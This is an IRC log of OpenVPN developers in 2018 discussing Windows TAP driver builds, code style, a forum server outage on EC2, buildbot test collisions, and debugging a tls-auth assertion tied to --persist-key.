07:30 <@cron2_> not sure if printing more numbers that people do not understand will help, though... the existing message is clear enough "do not put packets to the tunnel end point into the tunnel" 07:30 <@cron2_> but if we change anything, saddr:sport -> daddr:dport sounds good to me (until "can you please print which application is that?"...) 08:01 <@mattock> first tap-windows6 build with jkunkee patches succeeded 08:02 <@mattock> one just mounts the EWDK iso (e.g. "Mount-IsoImage -Isopath <path-to-iso-file>") and runs the included LaunchBuildEnv.cmd 08:02 <@mattock> basically only dependencies are Git and Python27 plus EWDK 08:02 <@mattock> as signing can't be done on the build VM anyways (in our case) that's all there is to it 08:03 <@mattock> I will try to wrap this up into a Vagrant box (quality of public boxes is the only "if" here) tomorrow 08:05 <@mattock> in worst case I can create a semi-public Windows 2016 server instance connected to the community VPN with user accounts for core devs who need it 08:15 <@cron2_> mattock: the latter be good enough for me... I do not need this on my personal systems, just a way to build something (unsigned) which I can then try to break 08:15 <@mattock> cron2: may I merge https://github.com/OpenVPN/openvpn-vagrant/pull/1 and https://github.com/OpenVPN/openvpn-vagrant/pull/2 ? 08:15 <@vpnHelper> Title: Use vboxfs synced folder type on Linux by mattock · Pull Request #1 · OpenVPN/openvpn-vagrant · GitHub (at github.com) 08:15 <@cron2_> and congrats on the successful build ;-) 08:15 <@mattock> they've been there for about 1,5 months 08:16 <@cron2_> uh, ACK 08:16 <@mattock> do you want to make that official? 08:17 <@mattock> now downloading mwrock/Windows2016 vagrant box (https://app.vagrantup.com/mwrock/boxes/Windows2016) 08:17 <@vpnHelper> Title: Vagrant box mwrock/Windows2016 - Vagrant Cloud (at app.vagrantup.com) 08:18 <@mattock> I've used mwrock/Windows2012 before and it was ok 08:18 <@cron2_> ACKs sent 08:18 <@cron2_> how are these boxes licensed? "30 days demo license"? 08:45 <@mattock> not sure, but they will need to updated periodically 08:45 <@mattock> need to split now, but there was actually a (minor) issue with jkunkee's patches, see https://github.com/OpenVPN/tap-windows6/pull/53 08:45 <@vpnHelper> Title: Win7 -> Win10 build system change by jkunkee · Pull Request #53 · OpenVPN/tap-windows6 · GitHub (at github.com) 08:46 <@mattock> anyways, the demo license is a bit nasty when the EWDK is a rather huge download 08:51 <@cron2_> well that download will hopefully be cached and won't have to be re-done every time? 11:58 <@ordex> aloha 13:47 <@cron2_> olala 18:48 < tincantech> ecrist: ping 18:48 < tincantech> need some help from the honeybadger .. 18:52 < tincantech> fuck it nvm .. they are all idiots until they prove otherwise 18:53 < tincantech> https://forums.openvpn.net/viewtopic.php?f=5&t=26462#p79170 18:53 <@vpnHelper> Title: Is there a COMPLETE setup guide for Windows 10? - OpenVPN Support Forum (at forums.openvpn.net) 21:45 -!- Netsplit *.net <-> *.split quits: @mattock 21:45 -!- Netsplit over, joins: @mattock 21:50 -!- Netsplit *.net <-> *.split quits: @vpnHelper 21:51 -!- Netsplit over, joins: @vpnHelper --- Day changed Tue May 29 2018 01:20 * cron2_ does the happy dance 01:29 <@cron2_> mattock: so how's the "security contacts" page coming along? 01:56 <@cron2_> dazo: *poke* 02:51 <@mattock> cron2: it is not, as I don't have any contacts to add there 03:02 <@cron2_> mattock: NordVPN is talking to us at secure@nordvpn.com 03:27 <@mattock> ok I can setup a simple page to Trac then 03:27 <@mattock> were they ok with having the email public? 03:30 <@cron2_> they are a bit slow in communication... if you do a "protected" page, will that still be readable by anyone? 03:32 <@mattock> yes it will 03:33 <@mattock> read by anyone, write by admins 03:33 <@mattock> I don't think there is a way to make fine-grained permission checks 03:35 <@mattock> I mean fine-grained access controls on per-page basis 03:38 <@cron2_> ok, then I need to ask them first 03:38 <@cron2_> can you prepare a "naked" page so I can point to them? With explanation "these contacts are only to be used if there is a security issue with the program itself, not user or support questions" 04:46 <+lev__> hm apparently I cannot send patches from @openvpn.net mail address 04:46 <+lev__> Your IP (173.203.187.121) has been flagged for sending 550-SPAM by the UCE Protect Level 1 blocklist. 04:47 <+lev__> ping plaisthos dazo ordex 04:49 <+lev__> mattock: 05:42 <@ordex> maybe dazo mattock or cron2_ can check, but the list if hosted on sf.net, so we don't really have much control lev__ 06:29 <@ordex> lev__: the codestyle in your patch is a bit off 06:29 <@mattock> lev: I assume you have subscriber to openvpn-devel using that address? 06:29 <@mattock> subscribed 06:29 <@ordex> the patch landed (twice) 06:29 <@mattock> ok 06:33 <+lev__> ordex: oh yeah, indents inside ifs 06:33 <@ordex> yeah 06:34 <@ordex> lev__: also casts do not have the blank ' ' between the type and the variable. i.e. it should be (int)var and not (int) var 06:34 <@ordex> even though the old code was still using the wrong style, I'd suggest to correct it since you are modifying that line 06:35 <@ordex> has nordvpn ever shared their public key ? 06:58 <@cron2_> ordex: yes, it was in the e-mail I received 07:00 <@cron2_> I should be able to make a meeting tomorrow - my only topic is "TAP driver syncup", so we do not strictly need a meeting for that 07:17 <@ecrist> tincantech: pong 07:25 <@ecrist> I responded to that individual. Typical, I don't understand, so you have to do it for me. Whatever. 07:41 < tincantech> ecrist: thanks ;) I just had to leave that one cos no matter what I tried to say it came out flamey! 07:44 <@ecrist> sure, no worries 08:30 <@plaisthos> lev__: pong 09:10 <@ordex> cron2_: mattock: dazo: I won't be able to be there at the meeting as I won't be online at that time 09:16 < tincantech> ecrist: don't get carried away now ;) 09:26 <+lev__> plaisthos: I was wondering if you use openvpn email for sending patches here 09:27 <@plaisthos> lev__: err, the question hasn't come up yet 09:32 <@mattock> ordex: ok 09:32 <@mattock> anyone else able/unable to make it to a meeting tomorrow? 09:39 <+lev__> mattock: I could make it, I could help with Windows testing, I think 09:45 <@mattock> ok that would be great! 09:49 <@mattock> I'm almost done with adding Windows Server 2008r2, 2012r2 and 2016 test VMs in EC2 09:49 <@mattock> in addition we will have at least four Windows 10 mini-pc's running at the office 09:49 <@mattock> to get the proper "stamp of approval" from Microsoft for the Win10 tap-windows6 signatures 09:50 <@mattock> I think the driver smoketesting needs to be automated to some degree even initially 09:51 <@mattock> powershell remoting is probably the path of least resistance 13:34 <@cron2_> oh, so plaisthos has been sucked into openvpn inc as well... 13:35 <@ordex> cron2_: can the public key be shared? or I should ask them directly? 13:35 <@cron2_> ordex: it's public, no? :) 13:35 <@ordex> it is not on a keyserver 13:35 <@ordex> :p 13:36 <@ecrist> good for plaisthos 13:37 <@ecrist> Why can't NordVPN push their key to a key server? 13:37 <@cron2_> because they are (channeling ecrist) stupid 13:38 <@cron2_> not sure they actually have *email*... what they sent looks like a poor excuse for email... html-only, no proper mime-structure, then the .html gets pgp-crypted and just stuffed as ascii armor into a mail 13:38 <@cron2_> I wouldn't know where to *start* ranting about this abomination... 13:38 <@ecrist> gotcha 13:39 <@ecrist> That's sort of what I was thinking, but glad for the confirmation. :) 13:39 <@ordex> cron2_: :D it looked "weird" with that attachment 13:39 <@ordex> might be some webbased client - probably from "hushmail" 13:40 <@cron2_> ordex: "poor excuse" 13:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 13:47 <@ecrist> gah! 13:49 * cron2_ pokes dazo again 13:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 14:09 <@cron2_> ah, which reminds me of the topic for tomorrows meeting... we need nice sounding titles... I want to be "nasty refuser of shiny patches" 14:12 <@ordex> cron2_: about the codestyle change: I think our style dictates no space in a cast, right? 14:13 <@ordex> I guess some cases wre missed by uncrustify and lev__ is fixing them. even though "I believe" it is ok to change style only if you are changing that line for other purposes, otherwise the style change should go in its own patch 14:13 <@cron2_> ordex: I have no idea what our code style wants (the wiki knows that), but I *do* know that whatever we have right now is "correct according to the set of rules that were fed to uncrustify" 14:14 <@cron2_> so we should just leave the style as it is now if that is what uncrustify produced 14:14 <@ordex> hmm I think we already saw in the past that uncrustify missed some "complex to read" spots, but I might be wrong 14:15 * ordex checks the wiki 14:20 <@ordex> hm interesting - it seems thereis nothing about the cast, not even in the agreed uncrustify.cfg 14:20 <@ordex> (/me got disconnected) 14:23 <@ordex> we could/should make a decision and add "sp_after_cast" I think 14:32 <+lev__> that whitespace after cast is indeed inconsistent - in one case it differs in the same method, 10 lines apart (proto.c 51/60) 14:34 <@cron2_> ok, that is weird indeed 14:34 <@cron2_> +1 on "sp_after_cast" for easier reading :) -> agenda tomorrow? 14:36 <@cron2_> now if someone could translate this page for me... 14:36 <@cron2_> https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ndis/nf-ndis-ndisallocaterwlock 14:36 <@vpnHelper> Title: NdisAllocateRWLock function | Microsoft Docs (at docs.microsoft.com) 14:37 <@cron2_> "what about windows 7 and NdisHandle == NULL?" 14:44 * ordex jumps out of the window 14:48 <@cron2_> ordex: this can't be worse than maintaining iOS OpenVPN 14:52 <@ordex> :D 14:54 <@ordex> might be useful during tomorrow's meeting - uncristify.cfg explained: https://raw.githubusercontent.com/uncrustify/uncrustify/master/documentation/htdocs/ben.cfg.txt 15:15 <@ordex> lev__: will you join the eukonkanto? 15:16 * lev__ googles 15:18 <@ordex> :D 15:19 <+lev__> heh, will be abroad on those days 15:21 <@ordex> hehe seems fun 15:23 <+lev__> yep, otherwise could have visited, 2.5hrs drive 15:38 <@cron2_> ordex: do you know whether "we" have a generic "print packet" function already somewhere? Like "UDP/TCP, source address+port, destination address+port"? 15:39 <@cron2_> I cannot imagine that we have none, and using that would make lev__'s patch much shorter 15:40 <@ordex> hmm I can't remember any at the moment 15:40 <@ordex> cron2_: we have this loglevel: 15:40 <@ordex> 163 #define D_PACKET_CONTENT LOGLEV(9, 70, M_DEBUG) /* show before/after encryption packet content */ 15:40 <@ordex> which might print that info - let me grep 15:41 <@cron2_> this might be a hex dump... bit too low level :) 15:42 <@ordex> yeah :P 15:44 <@ordex> I can't find anything useful - only various functions using print_in_addr_t() to print iphdr members 16:01 <@ordex> cool to have somebody from MS that can look into kernel API and such in a more deterministic manner :) 17:05 <@vpnHelper> RSS Update - gitrepo: Fix potential double-free() in Interactive Service (CVE-2018-9336) <https://github.com/OpenVPN/openvpn/commit/1394192b210cb3c6624a7419bcf3ff966742e79b> || Add negotiated cipher to status file format 2 and 3 <https://github.com/OpenVPN/openvpn/commit/8acc40b6a64451d9a17cf4fa12fac2450ca26095> || manpage: improve description of --status and --status-version <https://github.com/OpenVPN/openvpn/commit/308c9d7f001a97 19:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] --- Day changed Wed May 30 2018 00:38 <@cron2_> ordex: definitely! 01:13 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2018-05-30 01:13 <@vpnHelper> Title: Topics-2018-05-30 – OpenVPN Community (at community.openvpn.net) 08:58 <@ecrist> mattock: ignore the noise from forums 08:59 <@ecrist> I'm breaking things with software updates 10:27 <@mattock> ecrist: ok 20:21 <@ordex> :O --- Day changed Thu May 31 2018 06:17 < tincantech> ecrist: your opinion on this approach is appreciated (edit at will): https://forums.openvpn.net/viewtopic.php?f=30&t=26486 06:17 <@vpnHelper> Title: Broken links in the documentation and out of date information - OpenVPN Support Forum (at forums.openvpn.net) 08:16 * ecrist continues updates 08:17 <@ecrist> tincantech: I'll look at that in a bit. 08:17 < tincantech> a great new approach to documentation : https://forums.openvpn.net/viewtopic.php?f=6&t=26485#p79251 08:17 <@vpnHelper> Title: No server certificate verification method has been enabled. - OpenVPN Support Forum (at forums.openvpn.net) 08:17 < tincantech> ecrist: no rush ;) have fun updating 08:26 <@ecrist> :( 08:26 <@ecrist> ping mattock 08:26 <@ecrist> forum box didn't come back up after reboot 08:27 <@ecrist> ping dazo too 08:28 <@dazo> ecrist: pong .... whazzup? 08:29 <@ecrist> I broke forum box 08:29 <@ecrist> doing OS updates, it hasn't come back after a reboot 08:29 * ecrist doesn't have direct console access 08:30 <@dazo> I don't have any magic powers there, but I'll notify people internally 08:30 <@ecrist> that's the bit I don't have access to 08:30 <@ecrist> :) 08:31 <@dazo> := 08:31 <@dazo> :) 08:47 <@ecrist> dazo: it'd be nice if I had a console to that machine and the community box... 08:47 <@ecrist> if you want to share that, as well. 08:54 <@mattock> ecrist: there is no direct console access to forums 08:54 <@mattock> except what EC2 provides 08:54 <@mattock> I will have a look 08:55 <@ecrist> thank you sir 08:56 <@mattock> one of the EC2 checks has failed 08:56 <@mattock> "instance reachability failed" 08:57 <@mattock> possibly something related to network setup 08:57 <@mattock> that can happen with OpenVPN + Ubuntu 16.04 images because of system service ordering issues 08:57 <@ecrist> yeah, I forgot, but I think freebsd 11 provides a new network driver for Amazon 08:57 <@ecrist> I didn't recall that until after I rebooted 08:58 <@dazo> From what I've heard ... there are no virtual consoles to the AWS hosts :/ 08:59 <@mattock> that is correct 09:00 <@mattock> it might be possible to grant selective access to community instances in AWS 09:00 <@mattock> not sure how fine-grained the permissions on AWS are 09:01 <@ecrist> mattock: I'm only want access so I can do these things without bugging you. :) 09:01 <@mattock> I know :) 09:03 <@mattock> I'm looking into AWS docs (rebooted but that did not help) 09:04 <@mattock> probably the best option we have is to shut down the instance, unattach the drive and attach it to another instance 09:04 <@mattock> fix the problem and reattach to the original instance 09:05 <@mattock> ecrist: if you point me to a freebsd image I can create a new instance and do the above 09:05 <@mattock> you can then mount the original disk and figure out what went wrong 09:05 <@ecrist> sure, it's just a network driver issue. let me find the instance 09:06 <@mattock> ok 09:06 <@ecrist> https://aws.amazon.com/marketplace/pp/B01LWSWRED/ 09:06 <@vpnHelper> Title: AWS Marketplace: FreeBSD 11 (at aws.amazon.com) 09:11 <@mattock> ecrist: do you any of our amazon keypairs? like community.pem? 09:11 <@ecrist> no 09:11 <@ecrist> I just have my SSH pub key 09:11 * ecrist does not know AWS 09:15 <@mattock> ok, I will add your user to the node 09:18 <@ecrist> Let me know when it's up and I'll poke at it 09:19 <@ecrist> I think I need to literally change a single text like in /etc/rc.conf 09:20 < tincantech> you sure you don't want to restore from a backup ;;) 09:21 <@mattock> almost there 09:23 <@mattock> ecrist: any idea what the default user account name is? 09:23 <@mattock> ah found it 09:25 <@ecrist> root 09:26 <@ecrist> ? 09:26 <@mattock> no, ec2-user and then "su" 09:26 <@ecrist> ah 11:39 <@dazo> cron2_: I've seen your pokes ... lets catch up tomorrow; I should be finally back full time now. Currently closing a few things today and then I'll pick up the community side of things again 11:39 <@ecrist> ok, now that I completely blew up the forums, they're back online 11:40 <@ecrist> tincantech: that approach is just fine. 11:49 < tincantech> cool :) 12:36 <@cron2_> dazo: thanks :) 12:38 < tincantech> ecrist: i think the upgrade may be incomplete or something : Fatal error: Call to undefined function filter_var() in /usr/local/www/forum/vendor/s9e/text-formatter/src/Parser/AttributeFilters/NumericFilter.php on line 55 12:49 < tincantech> ecrist: email in your inbox with full details 12:50 <@ecrist> looking 12:51 <@ecrist> try again 12:55 <@ecrist> tincantech: ^ 12:56 < tincantech> yep yep :) sorted 12:56 < tincantech> thanks 13:07 <@ecrist> no problem. 13:09 <@ecrist> tincantech: there was another package missing I've installed now and I kicked apache again. You probably won't notice any further problems. I hope. 13:09 <@ecrist> :) 16:33 < tincantech> ecrist: i think you need to re-instate soft delete ;) 19:31 < tincantech> ecrist: does this look like a "right to forget" thread : https://forums.openvpn.net/viewtopic.php?f=4&t=26493 19:31 <@vpnHelper> Title: Prevent (or at least detect) Man in the Middle Attack from Firewall - OpenVPN Support Forum (at forums.openvpn.net) 20:03 < tincantech> OSTIF hate ? ? ? .... huh 20:03 < tincantech> i am staying up for the conclusion to this one ! 22:38 <@ordex> cron2_: do we have ipv6 tests in t_client.sh ? 22:39 <@ordex> well..I think I can check :P /me lazy 22:40 <@ordex> ah yeah, we run fping for v4 and v6 22:41 <@ordex> if we implement v6 only tunnels, we should probably change this so to test v6-only setups 22:44 -!- Netsplit *.net <-> *.split quits: +krzee, @cron2_ --- Day changed Fri Jun 01 2018 01:45 <@ordex> sorry for the noise :D 02:07 <@ordex> uhm, unit tests are failing, but not sure why that would happen with my change ... I'll try locally 02:15 <@ordex> oh, only this one has failed the unit-tests: builder-plaisthos-macosx-amd64-stable-master--with-crypto-library=mbedtls--enable-crypto 02:15 <@ordex> I wonder why 02:47 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:47 -!- ServerMode/#openvpn-devel [+ov cron2_ krzee] by cherryh.freenode.net 05:17 <@dazo> tincantech: OSTIF hate where? 05:27 < tincantech> dazo: just me over reacting to that one about performance on the ML 05:32 <@dazo> the feedback and research done by Derek is good, IMO, though ... he wants more solid performance testing and ensuring the results are useful in a less academic research environment 05:34 <@dazo> (and the Gigabit_Networks_Linux wiki page is definitely more in the academic research section than real-life environment) 05:35 < tincantech> sure .. as i said .. just me overyacting 05:35 <@dazo> but you need to have both ... the controlled environment to establish a method for reproducible results ... and then applying that knowledge, adjusting it somewhat to be more useful in more realistic real-life environments 05:35 <@dazo> ahh, okay 05:36 < tincantech> hehe ;) .. but i suppose the problem with "real life" examples is getting access to real life equipment 05:37 <@ordex> it would be interesting to see if the slowdown appears also on a controlled test with artificially created latency 05:37 <@ordex> throughput is function os latency anyway, but apparently openvpn is slowing down "faster" when compared to a normal UDP flow 05:39 <@ordex> *of 05:40 < tincantech> what i find strange is: so many ppl use openvpn and yet so few contribute.. I would have thought some of these .com/.org's could run real life tests quite easiily and publish their work 05:42 <@ordex> tincantech: not everybody is capable of contributing 05:42 <@ordex> otherwise no "well known" open source project would ever die 05:43 <@ordex> (well, if none would die it would probably be a good thing :) but unfortunately this is not so easy, imho) 05:43 < tincantech> ordex: but openvpn is soo widely used .. 05:44 <@ordex> sure, how many of those users are developers? how many linux network hackers? and how many able to contribute back with C code? now in this small set count how many are interested in open source and in contributing back 05:44 <@ordex> imho the result is around 5 or 6 05:44 <@ordex> :D 05:45 <@ordex> (assuming the people in this set have time to dedicate to that) 05:47 < tincantech> ordex: like your equation ;) .. it's just like the network trouble shooting .. real life vs expectations ;) 05:47 <@ordex> hehe yeah 06:26 <@dazo> OpenVPN isn't much different from, say the Linux kernel, in regards to contribution .... consider the 1696 contributors to the coming 4.17 release, which are just a tiny fragment of the millions of users 06:27 <@dazo> (source: https://lwn.net/Articles/756031/ ) 06:28 <@dazo> gee ... the mail from KrishnaKumar on -users must be a spam-bait 06:31 <@ordex> yeah 06:31 <@ordex> to both 06:31 <@ordex> :D 07:07 <@ecrist> tincantech: what do you mean? soft delete is enabled. 07:16 <@cron2_> I can share tincantech's complaint to some extent - what rubs me is commercial VPN providers that do not even talk to us about problems encountered, but hack their own fork, duplicating work doing so... 07:16 <@cron2_> speaking of which... *poke dazo* ;-)) 07:18 <@dazo> cron2_: just a few minutes and I'm done with some accounting stuff 07:18 <@ordex> cron2_: I agree :P but I also think you don't want to see/deal with those hacks 07:18 <@ordex> :P 07:28 <@cron2_> ordex: well, it depends on the hack in use... some of them do clever things based on client OCC data, which we could have used to join forces on the NCP stuff 07:29 <@ordex> yeah true 07:41 <@dazo> cron2_: alright, I'm done .... sorry it took a bit extra time 07:41 <@dazo> so, I'm presuming CVE for the wintap stuff is on the top of your list :) 09:43 < tincantech> ecrist: my mistake, i can see soft delete is enabled 09:43 < tincantech> thanks 11:04 <@ordex> guys I am running some buildbot tests these days - please let me know if it's too much 11:04 <@ordex> so far I ran 2 (one failed immediately) and now I am running a 3rd one 11:13 <@ordex> syzzer: are you still interested in working on https://community.openvpn.net/openvpn/ticket/720 otherwise I'd give it a shot (I see your last post on that was 18 months ago) 11:13 <@vpnHelper> Title: #720 (Add tls-auth to profiles.) – OpenVPN Community (at community.openvpn.net) 11:20 <@cron2_> ordex: as long as you do not fail *all* of them with a git fail, I'm good :-) 11:21 <@ordex> cron2_: that was fun eh? :-P 11:21 <@cron2_> dazo: indeed ;-) - because as soon as I have the CVE, I'm going to pester Cisco and VyprVPN again 11:21 <@ordex> that happened because of a typ0 in the branch name :( bad copy/paste in the buildbot ui 11:23 <@cron2_> that most recent fail collided with my daily t_server test - the client side is run from one of the buildslaves, so if two VPNs come up at the same time, it messes the current test logic 11:24 <@ordex> oh ok 11:24 <@cron2_> (I was too lazy to set up new server and t_client configs and just took the ones from buildbot, so t_client finds "it's already pinging?!?" or "someone messed up my VPN while I was running!" 11:24 <@ordex> do you run it always at the same time of the day ? 11:24 <@ordex> so I can run my next test exactly at that moment 11:24 <@cron2_> yep, cronjob runs at 5pm local time, because "usually nobody else commits anything at that time" :) 11:25 <@ordex> :-P 11:25 <@ordex> hehe ok 11:25 <@cron2_> if it turns out to be too annoying, I'll move it to a different buildslave 11:27 <@ordex> nah I don't think so (at least for me) 11:28 < tincantech> ordex: you set my laptop to blowdry mode ;) (reminds me, i must clean out the fan .. starting to over heat the disk.. only 1^C but keeps warning me!) 11:28 <@ordex> :P 11:30 <@ordex> cron2_: so the reason of those 2 failures is your test ? but that was 1h and half ago, no? 11:32 * ordex checks 11:33 <@ordex> FAIL: IPv4 ping test succeeded, but needs to *fail*. << seems so 11:33 <@ordex> oky goed 11:35 <@cron2_> yes 11:35 <@cron2_> the test runs the full set of like 15 different tests for 2.2, 2.3, 2.4 and master clients... so it runs quite a while 11:35 <@cron2_> ... and it runs 6 pm :-) 11:36 <@cron2_> 1 18 * * * /root/t_server.sh 11:37 <@ordex> alright :) 11:37 <@ordex> tincantech buildbot failed too 11:37 <@ordex> uhm 11:38 <@ordex> I can't find the difference in that one line in the buildbot log (except for the ifindex, but i guess it is skipped) 11:38 <@cron2_> that one had a *different* VPN restart while t_client was running 11:38 <@cron2_> well, ifindex is also "where in the file does this appear" 11:38 <@cron2_> so, t_client is over-cautious here... "ignore" 11:39 <@ordex> oky 11:39 <@ordex> so, *not my fault* !! 11:39 <@ordex> :) 11:40 <@cron2_> no, tincantech just loves to keep us on edge 11:41 < tincantech> hey .. what's up ? 11:41 <@ordex> :D 11:41 < tincantech> i rarely find anything i can understand in the buildbot output 11:43 <@ordex> :D 11:49 <@cron2_> tincantech: you restarted one of your VPNs while t_client was running, so the "ip addr show" output was different before/after the test, which t_client considers a failure to clean up 11:50 < tincantech> ahh .. gotcha ! thanks --- Day changed Sat Jun 02 2018 00:09 <@ordex> mah, one patch got lost in the mailing list dark hole .. 01:02 <@ordex> mah....this mailing list is .. mah 01:06 <@ordex> I'd add it again to the next meeting's topics.. 06:41 <@ordex> ok, the patch is lost 11:18 <@ordex> fyi, I have created https://community.openvpn.net/openvpn/wiki/Topics-2018-06-06 - feel free to add any other topic 11:18 <@vpnHelper> Title: Topics-2018-06-06 – OpenVPN Community (at community.openvpn.net) 11:33 < tincantech> somebody a bit pissed off with the ML ? ;) 11:49 <@ordex> :D 11:49 <@ordex> still waiting for 1/2 to land 11:58 < tincantech> is there actually some discussion in place already to stop using the dev-ML ? 12:10 < tincantech> ordex: does this mean i can use inline <tls-auth> inside <connection> block ? 12:14 <@ordex> tincantech: with 1/2 (currently missing on the ml) yes 12:14 <@ordex> 2/2 is for tls-crypt 12:15 <@ordex> tincantech: about the ML: there have been some quick discussions in the past about switching from sourceforge to something else 12:15 <@ordex> especially after the datacenter migration, which created a lot of troubles 12:16 <@ordex> the commit message says "Similarly to tls-auth," because it refers to 1/2 12:20 < tincantech> ci din't mind what happens with the d-ML .. i understand the reason for using it .. 12:21 < tincantech> nice if inline works with connections 12:22 < tincantech> "reason(s)" .. at least some of them 15:16 < tincantech> This should do for the new GUI help .. right ;) ? : https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI-New 15:16 <@vpnHelper> Title: OpenVPN-GUI-New – OpenVPN Community (at community.openvpn.net) 17:38 < tincantech> ordex: it finaly made it ! 17:39 < tincantech> 1 of 2 ;) 17:43 < tincantech> fuck me ! 17:43 < tincantech> i would prefer to see that on githib first 17:44 < tincantech> ML for finalconfirmation etc 22:21 <@ordex> tincantech: yeah! :D 22:22 <@ordex> tincantech: most of my patches are always on github in my repo --- Day changed Sun Jun 03 2018 05:21 <@syzzer> ordex: seems the tls auth patches need a bit more love :p 05:21 <@syzzer> Sun Jun 3 12:15:30 2018 Assertion failed at ../.././../openvpn/src/openvpn/ssl.c:1411 (ctx->hmac) 05:22 <@syzzer> with a client config like this: 05:22 <@syzzer> <connection> 05:22 <@syzzer> proto udp 05:22 <@syzzer> remote 10.1.1.1 1194 05:22 <@syzzer> </connection> 05:22 <@syzzer> <connection> 05:22 <@syzzer> proto udp 05:22 <@syzzer> remote 10.1.1.1 1194 05:22 <@syzzer> tls-auth ta.key 1 05:22 <@syzzer> </connection> 05:27 <@ordex> syzzer: interesting. this was not caught during my tests or by the buildbot 05:27 <@ordex> but I will try it here 05:27 <@ordex> thanks! 05:32 <@ordex> syzzer: about your 2/3: isn't it easy to just fail the connection instead of setting up a non working one ? 05:32 <@ordex> or does it required further refactoring? 05:43 <@cron2_> syzzer: 2/3 will break about 90% of all client-server openvpn configs... 05:46 <@syzzer> ordex: that would require refactoring (or I must have missed something way to terminate there, which might very well be the case) 05:47 <@syzzer> cron2_: how is that? 05:47 <@cron2_> if you have a setup today that has no compress in the client config but the server is pushing what it knows the client can do (IV_*), this will stop working 05:47 <@syzzer> people are doing that...? 05:48 <@cron2_> we've been telling them for years that this is what IV_LZO, IV_LZ4 etc. are there for 05:49 <@syzzer> okay, so definitely not fit for release/2.4 then. but do we want to move in that direction eventually? 05:50 <@cron2_> "announce to the server that the client can do something, and then not do it when the server pushes the option" is a total no-go in my opinion 05:50 <@syzzer> uh, no, that is not what my patch does (or should do) 05:51 <@syzzer> it will accept it if the client pushed the IV_LZ* thing 05:51 <@cron2_> OTOH, modifying which compression algorithms we advertise in IV_* based on a "compression-ok lzo,lz4,lz4v2" or whatever option sounds reasonable 05:51 <@syzzer> it will just reject it if we *didn't* push the capability 05:51 <@syzzer> (or that was my intention ;-) ) 05:51 <@cron2_> ok, then I misread the description :-) 05:51 <@cron2_> A server should not push us compression algorithms we didn't specify. If 05:52 <@cron2_> "specify" = "put in config" <<- that was my reading 05:52 <@syzzer> ah, I get how you got that from the text 05:52 <@syzzer> I should have written "didn't advertise" 05:52 <@cron2_> ok that case, apologies :-) - so what happens today if we are not advertising IV_LZ4 and get pushed "compress lz4"? 05:53 <@syzzer> broken connection... 05:53 <@cron2_> and if we ignore the "compress lz4"? 05:53 <@syzzer> same behaviour as when pushing a not-supported algorithm (e.g. "compress lz4" to some client without lz4 compiled in) 05:54 <@syzzer> that's basically what happens, ignore the push option 05:54 <@syzzer> results in unparseable packets -> drops 05:54 <@cron2_> how can we end up in a situation where we do not advertise IV_LZ4 (e.g.) but could handle "compress lz4"? 05:55 <@syzzer> if you specify "compress stub" in the config, we won't advertise the IV_LZ* capabilities 05:55 <@syzzer> (we will if you just specify "compress") 05:55 <@cron2_> ah! That particular can of worms 05:56 <@cron2_> (I was assuming that what we advertise and what we can handle is always in-line) 05:56 <@cron2_> or "symmetric" or whatever 05:56 <@syzzer> it isn't :) but that actually comes in handy from the security perspective: I actually like that I can say "don't enable compression on my connection!" 05:58 <@cron2_> yeah, very reasonable :-) 05:58 <@cron2_> family is calling (kids, grandparents, more grandparents, ...) so I'll need to put the laptop away... will come back later 05:59 <@syzzer> heh, enjoy :) 05:59 <@syzzer> we'll have guests over in like 30 mins too anyway :) 05:59 <@cron2_> enjoy :) 10:25 <@ordex> syzzer: did you reproduce that issue when starting the connection? or a rekeying? or? because I can't trigger that here 10:26 <@ordex> syzzer: note: I am working on top of master, not 2.4 (just in case this makes any difference) 10:46 <@ordex> can't trigger that on 2.4 either ... 10:46 <@ordex> syzzer: maybe you share the full config, please? and can you ensure you are running master + these 2 patches? thanks ! 11:22 < tincantech> cron2_: I just triple checked .. if you do *not* specify any --comp-lzo or --compress in the client the server can still push those and the client works fine (master & 2.4) *after* the PUSH_REPLY the message is LZO/LZ4/LZ4v2 compression initializing (depending on what is pushed) 11:53 <@syzzer> ordex: I was running origin/master + 1/2 11:53 <@syzzer> then I ensure the first connection fails 11:53 <@syzzer> when it tries the second server, it fails. Look like it won't reinitialize the tls-auth key 11:56 < kitsune1> q 12:02 <@syzzer> interesting, can't reproduce this on my laptop with what I thought was the same config... 12:02 <@syzzer> (and code) 12:06 <@ordex> syzzer: I tried the same config, but couldn't repro it 12:07 <@ordex> maybe I know where the problem is, might be "random" 12:07 <@ordex> because of a missing initialization. so some times it is 0 sometimes it is not 12:07 <@ordex> (this is just speculation, will verify in a bit) 12:08 <@ordex> (it is 0 == tls_auth_file sometimes is NULL sometimes is not) 12:12 <@syzzer> just verified, on my other machine it's origin/master + 1/2 too, and still fails 12:12 <@ordex> mh ok, I get back what I said. the option object is initialized with a CLEAR(), so everything is zero'd by default 12:12 <@ordex> syzzer: are you compiling with a -O0 os something different from default 12:13 <@syzzer> now running make clean + retest, to double-check 12:13 <@ordex> maybe also a ./configure so you reset the CFLAGS too ? 12:13 <@syzzer> clang, -g -O2 12:13 <@ordex> (I personally sometime smodify the Makefile to set it to -O0 for example - not sure if you do stuff like those) 12:13 <@ordex> ok 12:14 <@ordex> syzzer: did you use clang also on the laptop (where it works)? 12:14 <@syzzer> let's see... yup. 12:14 <@ordex> ok 12:15 <@syzzer> now diffin' configs 12:15 <@ordex> ok 12:15 <@syzzer> laptop client didn't have --persist-key, let's see... 12:15 <@ordex> oh ok 12:16 <@ordex> "Don't re-read key files across SIGUSR1 or --ping-restart." 12:16 <@ordex> I guess it skips the tls_auth_file loading 12:16 <@syzzer> bang! 12:16 <@ordex> ! 12:16 <@ordex> wonderful catch :D 12:16 <@syzzer> actually makes sense :) 12:16 <@ordex> yeah 12:16 <@ordex> nice one hhe 12:16 <@ordex> hehe 12:17 <@syzzer> stupid luck :') 12:17 <@ordex> :D 12:17 <@syzzer> too many degrees of freedom... 12:18 <@ordex> and this begs an intersting question....if we set "persist-key" it is expected that no key file is re-read after having dropped privileges 